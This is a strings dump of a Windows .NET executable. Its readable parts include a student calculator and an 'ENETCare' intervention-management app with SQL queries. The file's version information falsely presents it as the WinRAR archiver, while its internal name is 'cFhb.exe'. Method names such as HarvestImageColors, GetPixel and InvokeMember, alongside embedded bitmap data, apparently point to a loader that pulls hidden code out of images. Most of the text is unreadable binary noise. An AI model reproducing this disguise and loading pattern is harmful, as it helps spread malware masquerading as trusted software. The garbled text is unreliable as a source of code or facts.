!This program cannot be run in DOS mode.
`.rsrc
@.reloc
v4.0.30319
#Strings
__StaticArrayInitTypeSize=20
Nullable`1
IEnumerable`1
List`1
panel1
Dictionary`2
panel2
306214CE2E8429BF5C46D6987CF132E985873FE8611DCCEDF59C7DAE9DBC9CB9
<Module>
<PrivateImplementationDetails>
get_InterventionTypeID
set_InterventionTypeID
interventionTypeID
GetEstLabourByIntTypeID
GetEstCostByIntTypeID
intTypeID
get_InterventionID
set_InterventionID
GetInterventionListByInterventionID
interventionID
get_UserID
set_UserID
get_ApprovalUserID
set_ApprovalUserID
GetInterventionListByApprovalUserID
approvalUserID
GetUserNameByUserID
GetMaxHourByUserID
GetInterventionListByUserID
GetMaxCostByUserID
userID
get_DistrictID
set_DistrictID
GetUserDistrictID
districtID
get_ClientID
set_ClientID
GetClientNameByClientID
clientID
intervID
UpdateApprovedInterventionStatusByID
UpdateInterventionStatusByID
buttonCE
buttonCL
System.Data
ENETCareData
CollectPixelColorData
colorData
mscorlib
ENETCareBusinessLogic
System.Collections.Generic
imgSrc
GetInterventionNameByTypeId
operationId
clientId
Form1_Load
add_Load
add_TextChanged
outputBox_TextChanged
zeroButtonWasClicked
get_LabourRequired
set_LabourRequired
interventionLabourRequired
labourRequired
get_CostRequired
set_CostRequired
interventionCostRequired
costRequired
Synchronized
NewGuid
DbCommand
SqlCommand
get_Millisecond
get_Password
set_Password
password
performance
defaultInstance
GetHashCode
set_AutoScaleMode
get_RemainingLife
set_RemainingLife
remainingLife
Average
Invoke
Enumerable
IDisposable
Double
RuntimeFieldHandle
RuntimeTypeHandle
GetTypeFromHandle
Single
set_BorderStyle
FontStyle
set_Name
get_InterventionTypeName
set_InterventionTypeName
interventionTypeName
get_LoginName
set_LoginName
loginName
get_UserName
set_UserName
userName
get_DistrictName
set_DistrictName
GetDistrictName
districtName
get_ClientName
set_ClientName
clientName
GetInterventionTypeIdByName
GetUserIdByName
DateTime
ValueType
get_InterventionType
set_InterventionType
anInterventionType
interventionType
get_UserType
set_UserType
GetUserListByUserType
userType
reportType
inputType
System.Core
get_Culture
set_Culture
resourceCulture
get_InvariantCulture
MethodBase
ButtonBase
ApplicationSettingsBase
database
Dispose
TryParse
get_InterventionDate
set_InterventionDate
interventionDate
get_LastEditDate
set_LastEditDate
lastEditDate
Truncate
EditorBrowsableState
get_InterventionState
set_InterventionState
interventionState
STAThreadAttribute
CompilerGeneratedAttribute
GuidAttribute
GeneratedCodeAttribute
DebuggerNonUserCodeAttribute
DebuggableAttribute
EditorBrowsableAttribute
ComVisibleAttribute
AssemblyTitleAttribute
AssemblyTrademarkAttribute
TargetFrameworkAttribute
AssemblyFileVersionAttribute
AssemblyConfigurationAttribute
AssemblyDescriptionAttribute
CompilationRelaxationsAttribute
AssemblyProductAttribute
AssemblyCopyrightAttribute
AssemblyCompanyAttribute
RuntimeCompatibilityAttribute
compute
get_HasValue
Remove
cFhb.exe
set_Size
dataSize
set_ClientSize
aDatabaseConfig
System.Runtime.Versioning
conString
set_ConnectionString
connectionString
ToString
Substring
disposing
System.Drawing
IsMatch
ComputeStringHash
get_Width
get_Length
get_InterventionMonth
set_InterventionMonth
interventionMonth
LoginCheck
buttonCE_Click
buttonCL_Click
add_Click
addButton_Click
threeButton_Click
mutipleButton_Click
moduleButton_Click
nineButton_Click
oneButton_Click
fiveButton_Click
decimalButton_Click
equalButton_Click
sevenButton_Click
divisionButton_Click
zeroButton_Click
twoButton_Click
powerButton_Click
fourButton_Click
minusButton_Click
eightButton_Click
sixButton_Click
System.ComponentModel
GetPixel
DBNull
get_Control
ContainerControl
Program
get_Item
set_Item
System
Random
resourceMan
TimeSpan
resultIsGiven
set_TextAlign
splitExpression
Application
set_Location
LoginValidation
checkExpValidation
System.Configuration
evaluation
System.Globalization
op_Subtraction
System.Reflection
ControlCollection
SqlParameterCollection
DbConnection
SqlConnection
get_Intervention
set_Intervention
UpdateIntervention
ClientWithIntervention
AddNewIntervention
intervention
get_ActiveCaption
System.Data.Common
addButton
threeButton
mutipleButton
moduleButton
nineButton
oneButton
fiveButton
decimalButton
equalButton
sevenButton
divisionButton
zeroButton
twoButton
powerButton
fourButton
minusButton
eightButton
sixButton
CalculateOptimalTraversalPattern
MethodInfo
CultureInfo
checkZero
Bitmap
System.Linq
get_OJxq
InvokeMember
isNumber
DbDataReader
SqlDataReader
ExecuteReader
IFormatProvider
sender
Binder
get_ResourceManager
ComponentResourceManager
InterventionTypeManager
InterventionManager
aUserManager
DistrictManager
ClientManager
EventHandler
System.CodeDom.Compiler
IContainer
InterventionViewByUser
SqlParameter
set_ForeColor
set_BackColor
set_UseVisualStyleBackColor
Validator
Calculator
addOperator
checkOperator
.cctor
get_LabourHour
set_LabourHour
labourHour
get_MaxHour
set_MaxHour
maxHour
get_EstimatedLabour
set_EstimatedLabour
estimatedLabour
get_TotalLabour
set_TotalLabour
totalLabour
labour
imageCanvas
LogPerformanceMetrics
System.Diagnostics
enableDiagnostics
get_TotalMilliseconds
GetMethods
System.Runtime.InteropServices
System.Runtime.CompilerServices
System.Resources
ENETCareData.Form1.resources
ENETCareData.Properties.Resources.resources
DebuggingModes
ENETCareData.Properties
DateTimeStyles
EnableVisualStyles
GetExportedTypes
get_Notes
set_Notes
BindingFlags
Settings
EventArgs
Equals
ENETCareModels
get_Controls
System.Windows.Forms
Contains
set_AutoScaleDimensions
System.Text.RegularExpressions
get_Chars
RuntimeHelpers
get_Parameters
HarvestImageColors
SystemColors
get_Success
get_Address
set_Address
get_ClientAddress
set_ClientAddress
clientAddress
address
components
changedStatus
get_InterventionStatus
set_InterventionStatus
UpdateInterventionStatus
SetInterventionStatus
interventionStatus
status
RemoveAt
ElementAt
Concat
ValidateDateFormat
TryParseExact
GetObject
UserListWithDistrict
UpdateUserDistrict
MonthlyCostsByDistrict
GetCostLabourListByDistrict
GetMonthlyCostLabourListByDistrict
GetClientListByDistrict
CostByDistrict
district
harvestBucket
get_Height
height
get_ButtonHighlight
userLabourLimit
userCostLimit
GraphicsUnit
get_Default
SetCompatibleTextRenderingDefault
System.Data.SqlClient
AddNewClient
GetInterventionListByClient
HorizontalAlignment
InitializeComponent
GetColorComponent
set_Font
get_Count
Insert
IsEligibleForProposedList
GetInterventionTypeList
GetInterventionList
ToList
GetDistrictList
GetClientList
GetTotalCostList
IsUserNameExist
get_Cost
set_Cost
get_EstimatedCost
set_EstimatedCost
estimatedCost
get_TotalCost
set_TotalCost
SiteEngineerTotalCost
totalCost
get_MaxCost
set_MaxCost
maxCost
SuspendLayout
ResumeLayout
PerformLayout
IsValidInput
ValidateUserInput
ValidateLabourInput
ValidateCostInput
errorOutput
get_Text
set_Text
get_ActiveCaptionText
MyDbContext
get_Now
get_Window
set_TabIndex
componentIndex
outputBox
TextBox
InitializeArray
ToArray
aInterventionTypeGateway
anInterventionGateway
aUserGateway
anUserGateway
aDistrictGateway
aClientGateway
get_Assembly
ExecuteNonQuery
bucketCapacity
maxCapacity
op_Equality
WrapNonExceptionThrows
WinRAR archiver
WinRAR
* Copyright
Alexander Roshal 1993-2014
WinRAR.exe
$f261e21a-6116-4f27-a38f-8399811eee9a
8.7.7.2
.NETFramework,Version=v4.0
FrameworkDisplayName
.NET Framework 4
3System.Resources.Tools.StronglyTypedResourceBuilder
16.0.0.0
KMicrosoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator
16.10.0.0
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
hSystem.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aPADPAD
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Bitmap
lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet
hSystem.Drawing.Bitmap, System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3aPADPADi
QSystem.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
System.Drawing.Bitmap
IDATx^
pZIeY%
*i/m5>Gs
2aeUzJ
!lv!Ql
$!mB/*
7466Tm
IguaUo
W7-ywm
`51fgB
:YV/.a
y*a@n%
7,>{vG
+QgZl6
Dn<2zZ
x`[2wL
al:ig%
`cCUP2J
$74~xW
}KBEbd
Y"NI$&
PmBa
"\&COq
.3o<K|
#XS_|L%
{rO"jP
qr,rmo
W"uL|P
; Tmrbj
Aw&X)d
w+\b>NX
:$/5yy
k8,yT3
h;riF"
}uMHtq
,]Y6=o
Ge1X "
CCi t.
2Bj& I
A+p&tlT
F;WOh9o
s&dw{N
O|?)uT
X~`wE[
Wddb-e
{[*&w5
b&tma%
&r-mW0Xe.
wKTm-Y>
`9 {-Y9
4zvfY"
PCH&'
2::L|r
rQ9GQ,
b;MibF
(M_rN5v
VK7{Gv
]mb8!.?
P5v,M
S10bzEa
cb_<W*
WEog,{^
3^8-If
V2iH^c@
6cTrD4dU
g6VR=P
V:''+\
:4_ 0r
^[^X0}
;jz}^6
K [5oZ
vmUX7d
E'B_]_
0,L|;n
F&:]~
5_8:03
Pcrs^"L
5hG]m&Ls.`
`=awbK
AK`s#2t"
~-d(M#M
]O|M#@ph
-MtdKt
WQ&#(4
.~j7\*
zoiu\n
kVwMcK
R{{2'u2V
Eb\?n#
IAE[ee
.745IS
NkGiJHynb&
P1O+G73
gzL{?l.
EA!G YWK]
SND+4G+M<
9b5?46
^G. Qw
VY2wPG
\|urqa
6646]9O
7Vh!a,
5]hl0*}-
z~uYxo
bU2i&-
TE4zES
Z|>85
;coVNK~>?t
#XgdY3
s*yuoR
ylwjK,sx >
&y(+ci
Q|#%t+T
Xtl+iKX
`JvSV;
;x$|<KX
b9JYaT#
gN}Wck
gD>{qh
_'ztr{j
/wIu(q
Y1Qt+}x
^&v8)(
7qR9x@9
v[=~p'
dwacBF
jIX1Fk
*p>F`m
I[dyn\
c_^6Ev
{d=iKu
J [ L[
)tPvD@rR8
r}0C:l
JktEfi;a
@BD5lliq
vuYnJ}
Ty,+7s
Hh1liq_L
V'8O>#
:5e(LM5
c:w%Zp
th8%ju
KX:NE!u^
j)&v5>
}qA<<?
i3h|mG
:yuRxc
7F-96y
5lli&e
kmdx;mL
6nz9Y}
$7+C%y
OZjl?_
eUSd-U_
C+bv0o
rMlBeP{
`W*fpy,
FuahvF-u
_R^c%-
$R1a|Jpv!cG
LR1 Q.
^s[X2x
F0 iad
.OKa%i[Oo"
embYI&
;nxpK>
n|:^0~
|oUz?eAn
;u1F5I
z=Acd$,
W7.tzeX
%e}!R2i
('+`ny
t+Uq n
,\Ykng
;d?Dsp
oaP[ Y
ukaCC5
{Fv/T{
=6<xM`w
r66:}H
yrYdxD
K4iE1J
l\XVJA
3f>V@
SdH@/
vn$@7|
JI Kr}
BI#a[k"0
]ww8mV
LCZ\?Pj
4h<YV{
OBP P-
r<^]mH
e",c#5@
w]Z"t@
9[Z,EZ^+
Oo4-7.
KB `IU
I[0 bY
:_|>vr
i1+RIL
qeWw-9
.k(Ng#.$
(PFasL
!sp)run
[Gwl}X
2f[U T
:m|' 2
FA`Ydz
z'3-3QU
/&nhX/?v
7F-)7rL!
IDAT P
\PI`jav
"j+^N]
_BY@[&1
$CE)bC
cwn}j>
3K]@fVv
urjp0|np`6
v*y>U4
]uC#)|
iYV$- :
1A{L~"7
-S~:;o
1Uf9-
thhBJT
DC/* "mDi
WPPz-d
[%uB1zB
G8E4_9
vo<8cS
>~u[PX
i"-5*#O"
7vg%]w
4G [;Z
AtdqyCM!
e&r"0-
V)cU./
v9*jNXxj
Jy6vj
WS#Ma|
G`M.so
:v3LN<
P?QVDW^y
;{^km7
&D)e>Ge
'/*lx|d;/1
nW7EeBo
.mjezhs
:=kwT_{
6_()L7w
zD<f6a
?/}qxm
Y=f/K[r`
oez?90
vx%'4h
!c3s6:
GSfgmP+x
4g\O RlFi
nj6xq1S,e>
}}"V_Tfe
_,r*QI[)
FAUVX)
-cTW,G*
']*/k>4
TIfiVB
>L,\g|]K
o^c`((
-v./_n
4S?+p_
S(C.!Pdb&
Aa/>__
:H|ebc
h=r ,Y
R[&cT3
Q%V LI
|jpKS
"vp?)A
}lY:t7D
K0b6bn
}d%Lmk
hYd}-}j
\w"@`@
m)]VXz)
ooyF`~ 6e
0CRi&
]n??e3m
I)0,kk+<
j[,Uy2|NE#
rm9 Tz9h
Y2qpoG
)a:%%b
u1$sPv
|Wv38T
'<n}dBQ
h~Sy90
3/-}O k
5 VE`K-5H
aHx1=b
32/M"BZ
DdWTf+*f
:3,?D j
fh(`n"
UkP|%O
$cTR9n
PVnHOh
YdnUxN
[5JI ]
0pOOp%
HpF~Q)Y
|6'l\u
DW !U^
mMTNfa
wO(ju`v<5{
vYmX0l
;M8u:[c
:)T4,?
_)~]V?hGQs
76-[VT~
aLBdgM
V0{IMR
-%P*?E
R-icVl
('M).o
E*Ni\L
O4lkh-
WdVP#f
A`C~K&Vm
=~ 5qq
b_Qb\P
aAI+UF
Df&Tp[;[
T"!*uP^
Pg'o{}
54g\JB
x#a\,r
|`0D&'P
,w,I.|9
Jez5Q#l
ZmcF%+
c&g1!vO}E
lWg1$X
DvFKm@r
l_Wlqu
.>>u%_
4V\O*n
N73:=<
:PTf?g
*v~kzkqr
:(0pW8
FGp{<eD_
qa,Ktj
97%,<1
c`apxJJ'
wXl9El
:KtkIX0
4\jl$a
Ykf^,"B
j?:PsD89<*k
#Uz]ks
@}3iV#
VQ/[n7s
vh+c?q
@"U+"P!-4
aXRR@ ['rm.
/hlv7r
Cay$(CCAo>
y$ULtmYc
OIUTljj
3}TlAQ
1F=Tl=$D
&sJ?:k
{kpqXjAuUDK
\M;=Wo
R &7Uh
[_Z =|
VmJ-3-
GEYYI]
(]w"@P
"p-)sG
M7|;b'
qFqJ~|
XpRB\>
G)1SW99I
&V8]xiwSw
*)%+wVr
Y~_LsT%
~/Id{\
fx1/vw
+[ 0-
[&>bzC
^ztVL{
&P'ciFX
+/[^/cQ/
pv P,.S
agEDCoJS
I`Ry|q'
5i3.]~|
WqYaFo^
-vmlj\
yr@~f@
#?WI{9
zVDp@`Z|=n
kj$,ZcX
P;g.=|
rz>`VlpNs
Ea3""lQ'=P
<JgWjFl
j}DsBJ
9vJPqt`
D!xew
WPU`**
tnJ|gV
VFT#s=m
ShXKsV
RU1v83!
L|F8yI
;6} ;7
&r.P)lX
5t$Ub6rZ\x|
~]z\czs
GEAx&):l
NsjPnp
p"!/*cp
V%0-wO
^jlEH(1|
<y);&e
Y*cJsQm
cX1?q~
zZU<[?n
X{eN1;
(v%;7J:g3
w5xN>b
KLkx}Tm
J@ni**Fs+
A1<E&K
r?zP}p
+Uo`>{F
uW.1n>
2"$^H$u+
f>W'{
JF]jz@
$f}lA
:8bk'r/
\wE99G
[_S7aJR
hjq8YV
K]iX V
)?{Gz4E
<TBB}e1
U!OQTe
F[Pt6B
I(Gd'N
J<i8oO
^UJH/E
[Ix1U$
lLPdnX}C
RfS3:AyT;
g_,x:co
n*PJ#+
q3O Y9
Lja"[]z
I|_kI)B
(&<:;k
o^q:?
v:Cm8'
-Qii=7
,0Wh`y
aheKdg
wW}o:15Ad_Y
l=HkMef
_--~A^|
5 :l^|
F!F),us$
7ll@\r5ORT
'4,u;([
8R>UNtX
$lV<+f
$F=jTU
<QBs2"
to{ede
++Z)|l-
/*4.-:.
W]GG;vM
0BJS9F
\=3%/-
eWaM_~
[dhwaMWl%
alHUDUyUg
m rldN~
{jdLKe
WQj}N&
h^RHJ&yw
[$en)H
#mc9s>)
7K;0LO
wTR;1\yz
O>simi
:56! o
GMu-kk
j#XAU~
hPx*~5
l,OM)]
"\_!b,
<"x F_
Ku`8U!
>4='-/cM
UvM]2/
cjO`_
r?v6s4
Rm[|?Qz
+#P-mB
JrDI7W
"u~hJ}
4e:=[;
$-V{8U
!`Ly:~
c~he;%
zl}ge;
nDa)~sU
T7q}l:
\;^KpI
vM"e`k
=+&F%E*F1`tki
rotSR,
9TV/[+
<V\P +J
RZznLT4
~mw5_{&
e*K-Ty
-ZND*:@
7Y>@$F
;a++0+s
5a3 jd
R_?ZXT
O<9{ |
+,orgLs.O
d(E?&$
*+FQR-u
-',g--*
hayZ4M
hy&!+O
TKO?Jy
66g|dl
EI"F;@
%Y`)Ag16>fp
'-[\06&
$:G6ZQ
?/--&t
:SL]Ru%
]^0.BV
IN4)ZZ$-
/{M3{v
mSw>u>U
~**UoA
:T j@of*n8
$`4}?f
|&8s,Qu
aJc1.m
=f`Ce%
KKOh-%
]8^-A>' g
X4T+5a
6*j.C@
=^5%!7X
&N/p]|
Y~(zx n%
R? pb!
Z#f!Y
I2PAxt
tGTL=T{Epf
N ux*\
Xyh;J.W
$*K_!k
S6VmuB
l$#,9
MC_f4.
Gn`CN-
(fkja\
F_f"GS
7]?6qhm
6lfNF=
prrN1B{/2
:#}{cw]
uTz73?L
t-}L|w%k
.6OF#\
U ?{&{
+O{&E|
~Em`K@o
w`3:*=
!wy>:f
WIg\ Q
;T8err
wi.e>
z+LZy D
Oqg+{l
kFa{f.SuV
A/1poF*g
GJ|?zW
W#^c7&
+(LO%g
#Tk{#:4
[GVG_D%(
Ibn17N.d
Kuvlkc
+FL @r
qDa=R7%
w_%^<]
*M7Y2F
p.M&^M
a_iN]j
$^L0",p
Ta$_m>
}bTro.
e@=Kr$
3qI;BO
[q'";49g
oj,9oZ
i k<U1
U5KgB`
3zVTs<
L-tfA?1,
(q|=>#V
['QbZN
xboCQy
{QylLwC
ADx4Z
gFX ~D
0pYIHa
tLN'@N
#Cg'0~g
_gYP=7
gRg1nX4
iFtN=K
xs|;VS[
^{@WM6
~k!FuM
'5Bi]6
iLT.sy
L\Xhn@
tINc{L!f
w2>xq4
DXs{#I
~DYk:G
w_'uD_
:0bk&;
%SV7Z s
?{#~t(
]v~~Fa
nmG~A/
']}0qw
P&95Rr]
n[#zIS
+p]h?7.
[voXKNO
v.Ov<#
yZ(]:V
:/#_"<
_r1a)eq
1q(zK-Y#
u0${+W
d>f)sx
rze!_5
1ctzsw
sO#hb=Y
m_dpYo
\r+e#|x
hH--o
7}"B~9
&-hxu3
pSsBL)
T%KMMx
.|iKEr
GX)G2s\(/
!['r$b1
s<,OS|
yq-z2S
~?vw_r
P*/$0o
}izaOZw?L6o
SeZL>hD
3~Q=z?
8=ZGKh;
y&|L<J
hej@ r
v=&4f;+o
cFhb.pdb
SHA256
]|I`W_
QdJf4Y
fA> Vt
\i,/\Tm
jRY[Ql
)+7V[M
xVSUc,g
|cyIm9j
J'. `8
3`L}A1L
6re)R)
&,Y(K:WI
xBZ~^j
. 9.+
>glEIG
zpz8{.s
_CorExeMain
mscoree.dll
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity version="1.0.0.0" name="MyApplication.app"/>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
<security>
<requestedPrivileges xmlns="urn:schemas-microsoft-com:asm.v3">
<requestedExecutionLevel level="asInvoker" uiAccess="false"/>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>
!'+/3;?]o~
Client creation is unsuccessful.
This user already exists
client name
Location
ValidInput
Client creation is successful.
Please insert
can not be blank.
^[a-zA-Z'. ]{1,50}$
Invalid
only contains letters and has to be between 1 to 50 letters.
Intervention creation is unsuccessful.
Select Intervention
Select Client
Intervention and client must be seleted
Labour&cost must be positve number and less than 360 hour & A$100000 respectively
DefaultLabourHour
is equal to or larger than your limit. It can't be changed
DefaultCost A$
Proposed
Sorry!You can only approve upto
Hour and A$
date must be in yyyy/mm/dd format
Intervention creation is successful.
yyyy/MM/dd
Quality management information update is unsuccessful.
Quality management information update is successful.
Intervention Status Unchanged
Intervention Status Changed
Remaining life must be integer.
Remaining life must be between 0 to 100.
Notes section is too lengthy. Please make it short.
AccountantHomePage.aspx
Sushmita
ManagerHomePage.aspx
Supreet
SiteEngineerHomePage.aspx
District change is unsuccessful.
District change is successful.
ENETCareDatabase
INSERT INTO Client(ClientName, ClientAddress, DistrictID) VALUES(@ClientName, @ClientAddress, @DistrictID)
ClientName
ClientAddress
DistrictID
SELECT * FROM Client WHERE DistrictID=@id
ClientID
SELECT ClientID, ClientName FROM [Client]
SELECT * FROM Client WHERE ClientID=@id
SELECT * FROM Client WHERE ClientName=@clientName
clientName
SELECT * FROM District
DistrictName
SELECT * FROM District WHERE DistrictID=@id
INSERT INTO Intervention(InterventionTypeID, ClientID, LabourRequired, CostRequired, UserID, InterventionDate, InterventionState) VALUES(@InterventionTypeID, @ClientID, @LabourRequired,@CostRequired, @UserID, @InterventionDate, @InterventionState)
InterventionTypeID
LabourRequired
CostRequired
UserID
InterventionDate
InterventionState
SELECT * FROM Intervention WHERE ClientID=@id
InterventionID
dd/MM/yyyy
SELECT * FROM [Intervention] WHERE UserID=@id AND (InterventionState = 'Approved' OR InterventionState = 'Completed')
SELECT * FROM [Intervention] WHERE InterventionState = 'Approved' OR InterventionState = 'Completed'
SELECT * FROM Intervention WHERE interventionID=@id
RemainingLife
LatestVisitDate
UPDATE [Intervention] SET InterventionState = @status, ApprovalUserID = @approvalUserID WHERE InterventionID = @interventionID
status
interventionID
approvalUserID
UPDATE [Intervention] SET InterventionState = @status WHERE InterventionID = @interventionID
UPDATE Intervention SET RemainingLife = @remainingLife, LatestVisitDate = @latestVisitDate, Notes = @notes WHERE InterventionID = @interventionID
UPDATE Intervention SET LatestVisitDate = @latestVisitDate, Notes = @notes WHERE InterventionID = @interventionID
remainingLife
latestVisitDate
Update Intervention Set InterventionState= '
' where InterventionID = '
SELECT SUM(LabourRequired), SUM(CostRequired), UserID FROM Intervention WHERE InterventionState=@state GROUP BY UserID
SELECT AVG(LabourRequired), AVG(CostRequired), UserID FROM Intervention WHERE InterventionState=@state GROUP BY UserID
Completed
Select u.DistrictName, SUM(i.LabourRequired) as LabourHour, sum(i.CostRequired) as Cost from (Select u.UserID as UserID, d.DistrictName as DistrictName from [User] as u join [District] as d on u.DistrictID = d.DistrictID) as u join [Intervention] as i on u.UserID = i. UserID where i.InterventionState='Completed' Group By DistrictName
LabourHour
Select Month(i.InterventionDate) as InterventionMonth, Sum(i.LabourRequired) as LabourRequired, Sum(i.CostRequired) as Cost from (Select InterventionID, UserID,InterventionDate, LabourRequired, CostRequired from[Intervention] where InterventionState = 'Completed' And UserID IN (Select u.UserID from[User] as u join[District] as d on u.DistrictID = d.DistrictID where DistrictName = @district)) as i Group By Month(i.InterventionDate) Order BY Month(i.InterventionDate)
district
InterventionMonth
SELECT * FROM [Intervention] WHERE ApprovalUserID=@id AND InterventionState = 'Approved'
SELECT * FROM [Intervention Type]
InterventionTypeName
EstimatedLabour
EstimatedCost
SELECT * FROM [Intervention Type] WHERE InterventionTypeName=@interventionTypeName
interventionTypeName
SELECT EstimatedLabour FROM [Intervention Type] WHERE InterventionTypeID=@interventionTypeID
interventionTypeID
SELECT EstimatedCost FROM [Intervention Type] WHERE InterventionTypeID=@interventionTypeID
SELECT * FROM [Intervention Type] WHERE InterventionTypeID=@interventionTypeID
SELECT * FROM [User] WHERE LoginName=@name
SELECT * FROM [User] WHERE userID=@id
UserName
MaxHour
MaxCost
SELECT * FROM [User] WHERE UserType=@userType
userType
UPDATE [User] SET DistrictID = @districtID WHERE UserID = @userID
districtID
userID
4F4A7871
676869
ENETCareData
Invalid Double
yyyy-MM-dd HH:mm:ss.fff
Average
Excellent
[{0}] Op: {1} | Perf: {2:F2} ({3}) | Size: {4} | Checksum: {5}
Century Gothic
sixButton
fiveButton
Load
fourButton
threeButton
twoButton
sevenButton
eightButton
nineButton
zeroButton
decimalButton
outputBox
oneButton
panel1
buttonCE
buttonCL
addButton
mutipleButton
minusButton
divisionButton
moduleButton
powerButton
equalButton
panel2
Calculator_Jizhen_Zhang_99209126
[\+\-\
\/\%\^]+
[^\+\-\
\/\%\^]+
[^\+\-\
\/\%\^]
ENETCareData.Properties.Resources
VS_VERSION_INFO
VarFileInfo
Translation
StringFileInfo
000004b0
Comments
WinRAR archiver
CompanyName
WinRAR
FileDescription
WinRAR archiver
FileVersion
8.7.7.2
InternalName
cFhb.exe
LegalCopyright
Copyright
Alexander Roshal 1993-2014
LegalTrademarks
WinRAR.exe
OriginalFilename
cFhb.exe
ProductName
WinRAR
ProductVersion
8.7.7.2
Assembly Version
2.5.5.7
